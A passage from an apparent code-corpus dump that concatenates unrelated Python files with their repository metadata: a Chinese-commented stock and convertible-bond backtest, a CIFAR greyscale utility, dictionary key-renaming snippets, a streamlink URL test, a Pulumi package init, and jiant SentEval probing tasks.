#codelist_buffer=pd.merge(codelist,cur_merge_df, how='left', on=['ts_code']) bufferdf=codelist['buy_amount']*codelist['lastprice'] #if(cur_date>20171018): # print(codelist) #print(codelist) code_value_sum=bufferdf.sum() print(account+code_value_sum) print(cur_date) show3.append(account+code_value_sum) last_cur_merge_df=cur_merge_df[["ts_code","mix"]] last_cur_merge_df.columns =['ts_code','last_mix'] #print(last_cur_merge_df) days+=1 days=np.arange(1,datelist.shape[0]+1) eee=np.where(days%5==0) daysshow=days[eee] datashow=datelist[eee] #a = np.random.rand(days.shape[0], 1) if True : #000001.SH 上证 000016.SH 50 000688.SH 科创50 000905.SH 中证500 399006.SZ 创业板指 #399300.SZ 300 000852.SH 1000 baselinecode='399300.SZ' baseline1=self.display_baseline(datelist,accountbase,baselinecode) plt.plot(days,baseline1,c='m',label=baselinecode) baselinecode='399006.SZ' baseline2=self.display_baseline(datelist,accountbase,baselinecode) plt.plot(days,baseline2,c='c',label=baselinecode) baselinecode='000852.SH' baseline3=self.display_baseline(datelist,accountbase,baselinecode) plt.plot(days,baseline3,c='y',label=baselinecode) baselinecode='000905.SH' baseline4=self.display_baseline(datelist,accountbase,baselinecode) plt.plot(days,baseline4,c='k',label=baselinecode) print(show3) plt.plot(days,show3,c='green',label="TOPK_open_head30") plt.xticks(daysshow, datashow,color='blue',rotation=60) plt.legend() plt.show() input() asdffd=1 def Topk_nextopen_CB(self,resultpath): #修改显示行列数 pd.set_option('display.width', 5000) pd.set_option('display.max_rows', 500) pd.set_option('display.max_columns', 500) df_all = pd.read_pickle('./Database/CBDaily.pkl') df_all=df_all[df_all["open"]!=0] df_all.reset_index(inplace=True,drop=True) score_df = pd.read_csv(resultpath,index_col=0,header=0) score_df=score_df[['ts_code','trade_date','mix_rank','close_show']] print(score_df) #hold_all=5 #change_num=1 hold_all=10 change_num=2 account=100000000 accountbase=account buy_pct=0.9 Trans_cost=0.9997 #千三 # balance random none small choicepolicy="small" ###添加停牌计算和涨跌停简单策略 #stop_state 当日不停牌为0，当日停牌为1 (TODO:前日停牌本日不停牌为2,不每日刷新)，每日刷新 #control_state_open 当日不停牌且开盘未触及涨跌停为0，当日开盘触及跌停为1，当日开盘触及涨停为2，每日刷新 #control_state_close 当日不停牌且收盘没有触及涨跌停为0，当日收盘触及跌停1，当日收盘触及涨停为2,每日刷新 #last_action_flag 前日不需要买入卖出为0，前日需要卖出为1，前日需要买入为2 codelist=pd.DataFrame(columns=('ts_code','lastprice','buy_amount','last_action_flag')) codelist_buffer=pd.DataFrame(columns=('ts_code','lastprice','buy_amount','last_action_flag')) #codelist=codelist.append([{'ts_code':1,'lastprice':1,'amount':1,'adjflag':1}]) #print(codelist) score_df=score_df.sort_values(by=['trade_date']) datelist=score_df['trade_date'].unique() cur_hold_num=0 print(datelist) days=0 show3=[] last_cur_merge_df=[] for cur_date in datelist: #这里注意停牌的不包含在这个list中 cur_df_all=df_all[df_all['trade_date'].isin([cur_date])] cur_score_df=score_df[score_df['trade_date'].isin([cur_date])] cur_merge_df=pd.merge(cur_df_all,cur_score_df, how='left', on=['trade_date','ts_code']) cur_merge_df['mix_rank'].fillna(-99.99, inplace=True) if len(last_cur_merge_df): cur_merge_df=pd.merge(cur_merge_df,last_cur_merge_df, how='left', on=['ts_code']) cur_merge_df['last_mix_rank'].fillna(-99.99, inplace=True) #if cur_date>20180102 : # cur_merge_df=cur_merge_df.to_csv("dsdf.csv") code_value_sum=0 if codelist.shape[0]>0 : codelist_buffer=pd.merge(codelist,cur_merge_df, how='left', on=['ts_code']) #刷新停牌的close和adj价值 codelist_buffer['close'].fillna(9999.99, inplace=True) codelist_buffer['open'].fillna(9999.99, inplace=True) codelist_buffer['control_state_open']=0 codelist_buffer['control_state_close']=0 codelist_buffer['stop_state']=0 codelist_buffer.loc[codelist_buffer['open']==9999.99,'stop_state']=1 #codelist_buffer.loc[codelist_buffer['open']==codelist_buffer['down_limit'],'control_state_open']=1 #codelist_buffer.loc[codelist_buffer['open']==codelist_buffer['up_limit'],'control_state_open']=2 #codelist_buffer.loc[codelist_buffer['close']==codelist_buffer['down_limit'],'control_state_close']=1 #codelist_buffer.loc[codelist_buffer['close']==codelist_buffer['up_limit'],'control_state_close']=2 #codelist_buffer.loc[codelist_buffer['adj_factor']==9999.99,'adj_factor']=codelist_buffer['last_adj_factor'] codelist_buffer.loc[codelist_buffer['open']==9999.99,'open']=codelist_buffer['lastprice'] ###更新除权 ##print(codelist_buffer.head(10)) #codelist_buffer.loc[:,'buy_amount']=codelist_buffer['buy_amount'] #codelist_buffer.loc[:,'last_adj_factor']=codelist_buffer['adj_factor'] #codelist_buffer.loc[:,'last_adj_factor']=codelist_buffer['adj_factor'] #print(codelist_buffer.head(10)) codelist.loc[:,'buy_amount']=codelist_buffer['buy_amount'] #codelist.loc[:,'last_adj_factor']=codelist_buffer['adj_factor'] codelist.loc[:,'lastprice']=codelist_buffer['open'] codelist_buffer['value']=codelist_buffer['buy_amount']*codelist_buffer['open'] #codelist_buffer.reset_index(inplace=True,drop=True) #code_value_sum=codelist_buffer['value'].sum() #todo fillna #pd.merge(df_all, df_long_all, how='inner', on=['ts_code','trade_date']) #print(cur_merge_df) #sell========================== sellto=hold_all-change_num sellnum=cur_hold_num-sellto if sellnum>0: #初始化本日卖出flag sell_value 每日刷新 #初始化本日卖出计数 codelist_buffer['sell_value']=0 #sell_count=0 #先看open是否为2，是则消除前日的卖出flag #codelist_buffer.loc[codelist_buffer['control_state_open']==2,'last_action_flag']=0 #按open更新当日的sell_value，并且增加计数 #(前日卖出flag为1，当日open是1，当日close不是1,这种情况按score来算) #see=codelist_buffer[codelist_buffer['last_action_flag']==1].shape[0] #if(see>0): # print(codelist_buffer) #codelist_buffer.loc[(codelist_buffer['last_action_flag']==1)&(codelist_buffer['control_state_open']!=1),'sell_value']=codelist_buffer['open']*codelist_buffer['buy_amount'] #codelist_buffer.loc[(codelist_buffer['last_action_flag']==1)&(codelist_buffer['control_state_close']!=1),'sell_value']=codelist_buffer['open']*codelist_buffer['buy_amount'] #sell_count=codelist_buffer[codelist_buffer['sell_value']>0].shape[0] #if(sell_count!=0): # print(codelist_buffer) #sellnum=sellnum-sell_count #根据分数排序 codelist_buffer=codelist_buffer.sort_values(by=['last_mix_rank']) #print(codelist_buffer) #先将这些分数低的更新last_action_flag为1 codelist_buffer.loc[codelist_buffer['ts_code'].isin(codelist_buffer['ts_code'].head(sellnum)),'last_action_flag']=1 codelist.loc[codelist['ts_code'].isin(codelist_buffer['ts_code'].head(sellnum)),'last_action_flag']=1 #更新当日control_state_close不跌停的的sell_value codelist_buffer.loc[(codelist_buffer['last_action_flag']==1)&(codelist_buffer['control_state_open']!=1),'sell_value']=codelist_buffer['value'] codelist_buffer.loc[(codelist_buffer['stop_state']==1),'sell_value']=codelist_buffer['value'] #排除跌停卖出 #统计所有的sell_value大于0的并drop掉更新list account=account+codelist_buffer['sell_value'].sum()*Trans_cost cur_hold_num-=codelist_buffer[codelist_buffer['sell_value']>0].shape[0] #if(cur_hold_num!=80): # print(codelist_buffer) #codelist_buffer.drop(codelist_buffer['sell_value']>0,inplace=True) codelist_buffer=codelist_buffer[codelist_buffer['sell_value']==0] codelist=codelist[codelist['ts_code'].isin(codelist_buffer['ts_code'])] sdfafa=1 #buy========================== buyto=hold_all buynum=buyto-cur_hold_num if(buynum>0 and len(last_cur_merge_df)): buy_all_value=0 if(codelist.shape[0]>0): hold_code_sum=codelist_buffer['value'].sum() buy_all_value=(account+hold_code_sum)*buy_pct-hold_code_sum else: buy_all_value=account*buy_pct #when account too low then don't do anything if(buy_all_value<10000): continue code_amount_buy=buy_all_value/buynum #cur_merge_df=cur_merge_df.sort_values(by=['last_mix_rank']) buylist=cur_merge_df #single code no repeat buylist=buylist[~buylist['ts_code'].isin(codelist['ts_code'])] #buylist=buylist[buylist['pct_chg']<4] #buylist=buylist[buylist['open']!=buylist['up_limit']] #buylist=buylist[buylist['pct_chg']>-9] if choicepolicy=="random": buylist=buylist[buylist['last_amount']>1000] buylist=buylist[buylist['last_close']<120] #buylist = buylist[buylist['amount']>2000] buylist = shuffle(buylist,random_state=12) if choicepolicy=="small": pass #print(buylist) buylist=buylist[buylist['last_amount']>1500] buylist=buylist[buylist['last_close']<120] #buylist = buylist[buylist['open']<120] #buylist['amount_rank']=buylist['amount'].rank(pct=True) #buylist = buylist[buylist['amount_rank']>0.9] #buylist = buylist[buylist['amount']>5000] buylist=buylist.sort_values(by=['last_mix_rank']) #print(buylist) #print(buylist) buylist=buylist.tail(buynum) buylist.loc[:,'buyuse']=code_amount_buy/buylist['open'] #buylist['buyuse']=code_amount_buy/buylist['close'] buylist.loc[:,'buyuse']=buylist['buyuse'].round(-2) buylist.loc[:,'buyuse']=buylist['buyuse'].astype(int) buylist['value']=buylist['open']*buylist['buyuse'] #seelist=buylist[['ts_code','trade_date','yesterday_1total_mv_rank']] #print(seelist) account=account-buylist['value'].sum() #上日控制flag用于给后一日提供买卖信息，默认为0 buylist['last_action_flag']=0 savebuylist=buylist[['ts_code','open','buyuse','last_action_flag']] savebuylist.columns = ['ts_code','lastprice','buy_amount','last_action_flag'] codelist=codelist.append(savebuylist) #todo 这里因为下个循环drop会用到index如果不重新排序会造成问题，先这样改如果需要提升速度再进行修正 codelist.reset_index(inplace=True,drop=True) cur_hold_num+=buynum sdfafa=1 #print(codelist) #codelist_buffer=pd.merge(codelist,cur_merge_df, how='left', on=['ts_code']) bufferdf=codelist['buy_amount']*codelist['lastprice'] if(cur_date>20200805): pass #print(codelist) #print(codelist) code_value_sum=bufferdf.sum() print(account+code_value_sum) print(cur_date) show3.append(account+code_value_sum) last_cur_merge_df=cur_merge_df[["ts_code","mix_rank","amount","close"]] last_cur_merge_df.columns =['ts_code','last_mix_rank','last_amount',"last_close"] #print(last_cur_merge_df) days+=1 days=np.arange(1,datelist.shape[0]+1) eee=np.where(days%5==0) daysshow=days[eee] datashow=datelist[eee] #a = np.random.rand(days.shape[0], 1) #a=np.array(show3) #np.save('a.npy',a) # 保存为.npy格式 #a=np.load('a.npy') #a=a.tolist() #print(a) #plt.plot(days,a,c='red',label='CB') if True : #000001.SH 上证 000016.SH 50 000688.SH 科创50 000905.SH 中证500 399006.SZ 创业板指 #399300.SZ 300 000852.SH 1000 baselinecode='399300.SZ' baseline1=self.display_baseline(datelist,accountbase,baselinecode) plt.plot(days,baseline1,c='m',label=baselinecode) baselinecode='399006.SZ' baseline2=self.display_baseline(datelist,accountbase,baselinecode) plt.plot(days,baseline2,c='c',label=baselinecode) baselinecode='000852.SH' baseline3=self.display_baseline(datelist,accountbase,baselinecode) plt.plot(days,baseline3,c='y',label=baselinecode) baselinecode='000905.SH' baseline4=self.display_baseline(datelist,accountbase,baselinecode) plt.plot(days,baseline4,c='k',label=baselinecode) print(show3) plt.plot(days,show3,c='green',label="TOPK_open_CB") plt.xticks(daysshow, datashow,color='blue',rotation=60) plt.legend() plt.show() input() asdffd=1 def display_baseline(self,datelist,accountbase,basecode='399300.SZ'): if(True): CSZLData.CSZLDataWithoutDate.get_baseline(basecode) index_name=basecode index_path='./Database/indexdata/'+index_name+'.csv' index_baseline=pd.read_csv(index_path,index_col=0,header=0) index_use=index_baseline[['trade_date','close']] index_use.sort_values(by=['trade_date'],ascending=True, inplace=True) index_use=index_use[index_use['trade_date'].isin(datelist)] basepoint=index_use['close'].values[0] index_use['close']=index_use['close']*accountbase/basepoint return index_use['close']

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659ea91356929f022302c5c496e090adddcab540

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py

Python

Source/CIFAR/utils.py

Theonik/Convnet-demo

ba80f65826cca9485c04ac6322bc752232a8b1b6

[ "Apache-2.0" ]

null

Source/CIFAR/utils.py

Theonik/Convnet-demo

ba80f65826cca9485c04ac6322bc752232a8b1b6

[ "Apache-2.0" ]

null

Source/CIFAR/utils.py

Theonik/Convnet-demo

ba80f65826cca9485c04ac6322bc752232a8b1b6

[ "Apache-2.0" ]

null

import numpy as np from math import sqrt def convert_set_to_greyscale(cifar_set, method=0, gamma=1.0): converted_set = np.empty((cifar_set.shape[0], 1, cifar_set.shape[2], cifar_set.shape[3]), 'float32') for image_index, image in enumerate(cifar_set): for row_index, row in enumerate(image[0]): for pixel_index, pixel in enumerate(row): grey = 0.0 if method == 0: # rec.709 luminance grey = (0.2126 * cifar_set[image_index, 0, row_index, pixel_index]) + \ (0.7152 * cifar_set[image_index, 1, row_index, pixel_index]) + \ (0.0722 * cifar_set[image_index, 2, row_index, pixel_index]) elif method == 1: # NTSC/W3C luminance grey = (0.299 * cifar_set[image_index, 0, row_index, pixel_index]) + \ (0.587 * cifar_set[image_index, 1, row_index, pixel_index]) + \ (0.114 * cifar_set[image_index, 2, row_index, pixel_index]) elif method == 2: grey = sqrt(((0.299 * cifar_set[image_index, 0, row_index, pixel_index]) ** 2) + ((0.587 * cifar_set[image_index, 1, row_index, pixel_index]) ** 2) + ((0.114 * cifar_set[image_index, 2, row_index, pixel_index]) ** 2)) elif method == 3: grey = sqrt(((0.2126 * cifar_set[image_index, 0, row_index, pixel_index]) ** 2) + ((0.7152 * cifar_set[image_index, 1, row_index, pixel_index]) ** 2) + ((0.0722 * cifar_set[image_index, 2, row_index, pixel_index]) ** 2)) elif method == 4: # Simple mean of RGB intensity grey = ((cifar_set[image_index, 0, row_index, pixel_index]) + (cifar_set[image_index, 1, row_index, pixel_index]) + (cifar_set[image_index, 2, row_index, pixel_index])) / 3 else: print 'Error: This is not a valid conversion mode.\n Reverting to colour.' return cifar_set.astype('float32') / 255 converted_set[image_index, 0, row_index, pixel_index] = np.float32(grey/255) print 'Converted ', len(converted_set), ' images to greyscale.' return converted_set def convert_image_to_greyscale(cifar_set, method=0, gamma=1.0): converted_image = np.empty((1, cifar_set.shape[1], cifar_set.shape[2]), 'float32') for row_index, row in enumerate(image[0]): for pixel_index, pixel in enumerate(row): grey = 0.0 if method == 0: # rec.709 luminance grey = (0.2126 * cifar_set[0, row_index, pixel_index]) + \ (0.7152 * cifar_set[1, row_index, pixel_index]) + \ (0.0722 * cifar_set[2, row_index, pixel_index]) elif method == 1: # NTSC/W3C luminance grey = (0.299 * cifar_set[0, row_index, pixel_index]) + \ (0.587 * cifar_set[1, row_index, pixel_index]) + \ (0.114 * cifar_set[2, row_index, pixel_index]) elif method == 2: grey = sqrt(((0.299 * cifar_set[0, row_index, pixel_index]) ** 2) + ((0.587 * cifar_set[1, row_index, pixel_index]) ** 2) + ((0.114 * cifar_set[2, row_index, pixel_index]) ** 2)) elif method == 3: grey = sqrt(((0.2126 * cifar_set[0, row_index, pixel_index]) ** 2) + ((0.7152 * cifar_set[1, row_index, pixel_index]) ** 2) + ((0.0722 * cifar_set[2, row_index, pixel_index]) ** 2)) elif method == 4: # Simple mean of RGB grey = ((cifar_set[0, row_index, pixel_index]) + (cifar_set[1, row_index, pixel_index]) + (cifar_set[2, row_index, pixel_index])) / 3 else: print 'Error: This is not a valid conversion mode.\n Reverting to colour.' return cifar_set.astype('float32') / 255 converted_image[0, row_index, pixel_index] = np.float32(grey / 255) return converted_image

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9

65b938cf609fdca2021e5f09f94aa377807a7c58

2,142

py

Python

notebook/dict_change_key.py

vhn0912/python-snippets

80b2e1d6b2b8f12ae30d6dbe86d25bb2b3a02038

[ "MIT" ]

174

2018-05-30T21:14:50.000Z

2022-03-25T07:59:37.000Z

notebook/dict_change_key.py

vhn0912/python-snippets

80b2e1d6b2b8f12ae30d6dbe86d25bb2b3a02038

[ "MIT" ]

5

2019-08-10T03:22:02.000Z

2021-07-12T20:31:17.000Z

notebook/dict_change_key.py

vhn0912/python-snippets

80b2e1d6b2b8f12ae30d6dbe86d25bb2b3a02038

[ "MIT" ]

53

2018-04-27T05:26:35.000Z

2022-03-25T07:59:37.000Z

d = {'k1': 1, 'k2': 2, 'k3': 3} d['k10'] = d['k1'] del d['k1'] print(d) # {'k2': 2, 'k3': 3, 'k10': 1} d = {'k1': 1, 'k2': 2, 'k3': 3} print(d.pop('k1')) # 1 print(d) # {'k2': 2, 'k3': 3} d = {'k1': 1, 'k2': 2, 'k3': 3} d['k10'] = d.pop('k1') print(d) # {'k2': 2, 'k3': 3, 'k10': 1} d = {'k1': 1, 'k2': 2, 'k3': 3} # print(d.pop('k10')) # KeyError: 'k10' print(d.pop('k10', None)) # None print(d) # {'k1': 1, 'k2': 2, 'k3': 3} def change_dict_key(d, old_key, new_key, default_value=None): d[new_key] = d.pop(old_key, default_value) d = {'k1': 1, 'k2': 2, 'k3': 3} change_dict_key(d, 'k1', 'k10') print(d) # {'k2': 2, 'k3': 3, 'k10': 1} d = {'k1': 1, 'k2': 2, 'k3': 3} change_dict_key(d, 'k10', 'k100') print(d) # {'k1': 1, 'k2': 2, 'k3': 3, 'k100': None} d = {'k1': 1, 'k2': 2, 'k3': 3} change_dict_key(d, 'k10', 'k100', 100) print(d) # {'k1': 1, 'k2': 2, 'k3': 3, 'k100': 100} d = {'k1': 1, 'k2': 2, 'k3': 3} change_dict_key(d, 'k1', 'k2') print(d) # {'k2': 1, 'k3': 3} def change_dict_key_setdefault(d, old_key, new_key, default_value=None): d.setdefault(new_key, d.pop(old_key, default_value)) d = {'k1': 1, 'k2': 2, 'k3': 3} change_dict_key_setdefault(d, 'k1', 'k2') print(d) # {'k2': 2, 'k3': 3} d = {'k1': 1, 'k2': 2, 'k3': 3} change_dict_key_setdefault(d, 'k1', 'k10') print(d) # {'k2': 2, 'k3': 3, 'k10': 1} d = {'k1': 1, 'k2': 2, 'k3': 3} change_dict_key_setdefault(d, 'k10', 'k100') print(d) # {'k1': 1, 'k2': 2, 'k3': 3, 'k100': None} def change_dict_key_exist(d, old_key, new_key): if old_key in d: d[new_key] = d.pop(old_key) d = {'k1': 1, 'k2': 2, 'k3': 3} change_dict_key_exist(d, 'k1', 'k10') print(d) # {'k2': 2, 'k3': 3, 'k10': 1} d = {'k1': 1, 'k2': 2, 'k3': 3} change_dict_key_exist(d, 'k10', 'k100') print(d) # {'k1': 1, 'k2': 2, 'k3': 3} d = {'k1': 1, 'k2': 2, 'k3': 3} change_dict_key_exist(d, 'k1', 'k2') print(d) # {'k2': 1, 'k3': 3} def change_dict_key_exist_setdefault(d, old_key, new_key): if old_key in d: d.setdefault(new_key, d.pop(old_key)) d = {'k1': 1, 'k2': 2, 'k3': 3} change_dict_key_exist_setdefault(d, 'k1', 'k2') print(d) # {'k2': 2, 'k3': 3}

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0.132827

0.159393

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1

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null

0

7

02b6b7a182395dbb970279f055b75b84fcc0665e

1,219

py

Python

tests/plugins/test_ltv_lsm_lv.py

hymer-up/streamlink

f09bf6e04cddc78eceb9ded655f716ef3ee4b84f

[ "BSD-2-Clause" ]

5

2017-03-21T19:43:17.000Z

2018-10-03T14:04:29.000Z

tests/plugins/test_ltv_lsm_lv.py

hymer-up/streamlink

f09bf6e04cddc78eceb9ded655f716ef3ee4b84f

[ "BSD-2-Clause" ]

7

2016-10-13T23:29:31.000Z

2018-06-28T14:04:32.000Z

tests/plugins/test_ltv_lsm_lv.py

bumplzz69/streamlink

34abc43875d7663ebafa241573dece272e93d88b

[ "BSD-2-Clause" ]

2

2021-02-09T14:29:21.000Z

2021-05-28T11:10:34.000Z

import unittest from streamlink.plugins.ltv_lsm_lv import LtvLsmLv class TestPluginLtvLsmLv(unittest.TestCase): def test_can_handle_url(self): self.assertTrue(LtvLsmLv.can_handle_url("https://ltv.lsm.lv/lv/tieshraide/example/")) self.assertTrue(LtvLsmLv.can_handle_url("http://ltv.lsm.lv/lv/tieshraide/example/")) self.assertTrue(LtvLsmLv.can_handle_url("https://ltv.lsm.lv/lv/tieshraide/example/live.123/")) self.assertTrue(LtvLsmLv.can_handle_url("http://ltv.lsm.lv/lv/tieshraide/example/live.123/")) def test_can_handle_url_negative(self): self.assertFalse(LtvLsmLv.can_handle_url("https://ltv.lsm.lv")) self.assertFalse(LtvLsmLv.can_handle_url("http://ltv.lsm.lv")) self.assertFalse(LtvLsmLv.can_handle_url("https://ltv.lsm.lv/lv")) self.assertFalse(LtvLsmLv.can_handle_url("http://ltv.lsm.lv/lv")) self.assertFalse(LtvLsmLv.can_handle_url("https://ltv.lsm.lv/other-site/")) self.assertFalse(LtvLsmLv.can_handle_url("http://ltv.lsm.lv/other-site/")) self.assertFalse(LtvLsmLv.can_handle_url("https://ltv.lsm.lv/lv/other-site/")) self.assertFalse(LtvLsmLv.can_handle_url("http://ltv.lsm.lv/lv/other-site/"))

55.409091

102

0.724364

175

1,219

4.857143

0.165714

0.148235

0.197647

0.282353

0.868235

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0.812941

0.796471

0

0.00552

0.108285

1,219

21

103

58.047619

0.776449

0

0.311731

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false

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0.294118

0

null

0

1

0

null

0

1

0

9

02c216866f75efc46d0d664236cd942d9adb4921

649

py

Python

sdk/python/pulumi_google_native/containeranalysis/v1alpha1/__init__.py

AaronFriel/pulumi-google-native

75d1cda425e33d4610348972cd70bddf35f1770d

[ "Apache-2.0" ]

44

2021-04-18T23:00:48.000Z

2022-02-14T17:43:15.000Z

sdk/python/pulumi_google_native/containeranalysis/v1alpha1/__init__.py

AaronFriel/pulumi-google-native

75d1cda425e33d4610348972cd70bddf35f1770d

[ "Apache-2.0" ]

354

2021-04-16T16:48:39.000Z

2022-03-31T17:16:39.000Z

sdk/python/pulumi_google_native/containeranalysis/v1alpha1/__init__.py

AaronFriel/pulumi-google-native

75d1cda425e33d4610348972cd70bddf35f1770d

[ "Apache-2.0" ]

8

2021-04-24T17:46:51.000Z

2022-01-05T10:40:21.000Z

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** from ... import _utilities import typing # Export this package's modules as members: from ._enums import * from .get_note import * from .get_note_iam_policy import * from .get_occurrence import * from .get_occurrence_iam_policy import * from .get_provider_note_iam_policy import * from .note import * from .note_iam_policy import * from .occurrence import * from .occurrence_iam_policy import * from .provider_note_iam_policy import * from ._inputs import * from . import outputs

30.904762

80

0.768875

98

649

4.867347

0.44898

0.251572

0.188679

0.238994

0.360587

0.129979

0

0.001815

0.151002

649

20

81

32.45

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0

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1

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true

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null

1

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1

0

null

0

1

0

1

0

1

0

7

02de662220a766e589d3bc5ef62b920d69c494c2

18,235

py

Python

jiant/tasks/senteval_probing.py

pitrack/jiant

787e78baa50e4b6eb19f809934d161cab31a2c7d

[ "MIT" ]

null

jiant/tasks/senteval_probing.py

pitrack/jiant

787e78baa50e4b6eb19f809934d161cab31a2c7d

[ "MIT" ]

null

jiant/tasks/senteval_probing.py

pitrack/jiant

787e78baa50e4b6eb19f809934d161cab31a2c7d

[ "MIT" ]

null

""" Set of probing tasks that were added to Senteval Probing. Paper: https://arxiv.org/abs/1805.01070 """ import collections import itertools import json import logging as log import os import numpy as np import pandas as pd import torch # Fields for instance processing from jiant.utils.data_loaders import tokenize_and_truncate from jiant.tasks.registry import register_task # global task registry from jiant.tasks.tasks import SingleClassificationTask, process_single_pair_task_split @register_task("se-probing-sentence-length", rel_path="sentence_length/") class SEProbingSentenceLengthTask(SingleClassificationTask): """ Sentence length task """ def __init__(self, path, max_seq_len, name, **kw): """ """ super(SEProbingSentenceLengthTask, self).__init__(name, n_classes=7, **kw) self.path = path self.max_seq_len = max_seq_len self._label_namespace = self.name + "_tags" self.train_data_text = None self.val_data_text = None self.test_data_text = None def get_all_labels(self): return [str(x) for x in list(range(6))] def get_sentences(self): return self.sentences def load_data(self): """ Load data """ def load_csv(data_file): rows = pd.read_csv(data_file, encoding="utf-8") rows = rows.sample(frac=1, axis=0).reset_index(drop=True) rows["s1"] = rows["2"].apply( lambda x: tokenize_and_truncate(self._tokenizer_name, x, self.max_seq_len) ) return rows["s1"].tolist(), [], rows["1"].tolist(), list(range(len(rows))) self.train_data_text = load_csv(os.path.join(self.path, "train.csv")) self.val_data_text = load_csv(os.path.join(self.path, "val.csv")) self.test_data_text = load_csv(os.path.join(self.path, "test.csv")) sentences = [] for split in ["train", "val", "test"]: split_data = getattr(self, "%s_data_text" % split) sentences.extend(split_data[0]) self.sentences = sentences @register_task("se-probing-bigram-shift", rel_path="bigram_shift/") class SEProbingBigramShiftTask(SingleClassificationTask): """ Bigram shift task """ def __init__(self, path, max_seq_len, name, **kw): """ """ super(SEProbingBigramShiftTask, self).__init__(name, n_classes=2, **kw) self.path = path self.max_seq_len = max_seq_len self._label_namespace = self.name + "_tags" self.train_data_text = None self.val_data_text = None self.test_data_text = None def get_all_labels(self): return ["I", "O"] def get_sentences(self): return self.sentences def process_split(self, split, indexers, model_preprocessing_interface): return process_single_pair_task_split( split, indexers, model_preprocessing_interface, label_namespace=self._label_namespace, is_pair=False, skip_indexing=False, ) def load_data(self): """ Load data """ def load_csv(data_file): rows = pd.read_csv(data_file, encoding="utf-8") rows["s1"] = rows["2"].apply( lambda x: tokenize_and_truncate(self._tokenizer_name, x, self.max_seq_len) ) return rows["s1"].tolist(), [], rows["1"].tolist(), list(range(len(rows))) self.train_data_text = load_csv(os.path.join(self.path, "train.csv")) self.val_data_text = load_csv(os.path.join(self.path, "val.csv")) self.test_data_text = load_csv(os.path.join(self.path, "test.csv")) sentences = [] for split in ["train", "val", "test"]: split_data = getattr(self, "%s_data_text" % split) sentences.extend(split_data[0]) self.sentences = sentences @register_task("se-probing-past-present", rel_path="past_present/") class SEProbingPastPresentTask(SingleClassificationTask): """ Past Present Task """ def __init__(self, path, max_seq_len, name, **kw): """ """ super(SEProbingPastPresentTask, self).__init__(name, n_classes=2, **kw) self.path = path self.max_seq_len = max_seq_len self._label_namespace = self.name + "_tags" self.train_data_text = None self.val_data_text = None self.test_data_text = None def get_all_labels(self): return ["PAST", "PRES"] def get_sentences(self): return self.sentences def process_split(self, split, indexers, model_preprocessing_interface): return process_single_pair_task_split( split, indexers, model_preprocessing_interface, label_namespace=self._label_namespace, is_pair=False, skip_indexing=False, ) def load_data(self): """ Load data """ def load_csv(data_file): rows = pd.read_csv(data_file, encoding="utf-8") rows["s1"] = rows["2"].apply( lambda x: tokenize_and_truncate(self._tokenizer_name, x, self.max_seq_len) ) return rows["s1"].tolist(), [], rows["1"].tolist(), list(range(len(rows))) self.train_data_text = load_csv(os.path.join(self.path, "train.csv")) self.val_data_text = load_csv(os.path.join(self.path, "val.csv")) self.test_data_text = load_csv(os.path.join(self.path, "test.csv")) sentences = [] for split in ["train", "val", "test"]: split_data = getattr(self, "%s_data_text" % split) sentences.extend(split_data[0]) self.sentences = sentences @register_task("se-probing-odd-man-out", rel_path="odd_man_out/") class SEProbingOddManOutTask(SingleClassificationTask): """ Odd man out task """ def __init__(self, path, max_seq_len, name, **kw): """ """ super(SEProbingOddManOutTask, self).__init__(name, n_classes=2, **kw) self.path = path self.max_seq_len = max_seq_len self._label_namespace = self.name + "_tags" self.train_data_text = None self.val_data_text = None self.test_data_text = None def get_all_labels(self): return ["C", "O"] def process_split(self, split, indexers, model_preprocessing_interface): return process_single_pair_task_split( split, indexers, model_preprocessing_interface, label_namespace=self._label_namespace, is_pair=False, skip_indexing=False, ) def get_sentences(self): return self.sentences def load_data(self): """ Load data """ def load_csv(data_file): rows = pd.read_csv(data_file, encoding="utf-8") rows["s1"] = rows["2"].apply( lambda x: tokenize_and_truncate(self._tokenizer_name, x, self.max_seq_len) ) return rows["s1"].tolist(), [], rows["1"].tolist(), list(range(len(rows))) self.train_data_text = load_csv(os.path.join(self.path, "train.csv")) self.val_data_text = load_csv(os.path.join(self.path, "val.csv")) self.test_data_text = load_csv(os.path.join(self.path, "test.csv")) sentences = [] for split in ["train", "val", "test"]: split_data = getattr(self, "%s_data_text" % split) sentences.extend(split_data[0]) self.sentences = sentences @register_task("se-probing-coordination-inversion", rel_path="coordination_inversion/") class SEProbingCoordinationInversionTask(SingleClassificationTask): """ Coordination Inversion task. """ def __init__(self, path, max_seq_len, name, **kw): """ """ super(SEProbingCoordinationInversionTask, self).__init__(name, n_classes=2, **kw) self.path = path self.max_seq_len = max_seq_len self._label_namespace = self.name + "_tags" self.train_data_text = None self.val_data_text = None self.test_data_text = None def get_all_labels(self): return ["O", "I"] def get_sentences(self): return self.sentences def process_split(self, split, indexers, model_preprocessing_interface): return process_single_pair_task_split( split, indexers, model_preprocessing_interface, label_namespace=self._label_namespace, is_pair=False, skip_indexing=False, ) def load_data(self): """ Load data """ def load_csv(data_file): rows = pd.read_csv(data_file, encoding="utf-8") rows["s1"] = rows["2"].apply( lambda x: tokenize_and_truncate(self._tokenizer_name, x, self.max_seq_len) ) return rows["s1"].tolist(), [], rows["1"].tolist(), list(range(len(rows))) self.train_data_text = load_csv(os.path.join(self.path, "train.csv")) self.val_data_text = load_csv(os.path.join(self.path, "val.csv")) self.test_data_text = load_csv(os.path.join(self.path, "test.csv")) sentences = [] for split in ["train", "val", "test"]: split_data = getattr(self, "%s_data_text" % split) sentences.extend(split_data[0]) self.sentences = sentences @register_task("se-probing-word-content", rel_path="word_content") class SEProbingWordContentTask(SingleClassificationTask): """ Word Content Task """ def __init__(self, path, max_seq_len, name, **kw): super(SEProbingWordContentTask, self).__init__(name, n_classes=1000, **kw) self.path = path self.max_seq_len = max_seq_len self._label_namespace = self.name + "_tags" self.train_data_text = None self.val_data_text = None self.test_data_text = None def get_all_labels(self): return list(set(self.labels)) def get_sentences(self): return self.sentences def load_data(self): """ Load data """ def load_csv(data_file): rows = pd.read_csv(data_file, encoding="utf-8") rows["s1"] = rows["2"].apply( lambda x: tokenize_and_truncate(self._tokenizer_name, x, self.max_seq_len) ) self.labels.append(rows["1"].tolist()) return rows["s1"].tolist(), [], rows["1"].tolist(), list(range(len(rows))) self.train_data_text = load_csv(os.path.join(self.path, "train.csv")) self.val_data_text = load_csv(os.path.join(self.path, "val.csv")) self.test_data_text = load_csv(os.path.join(self.path, 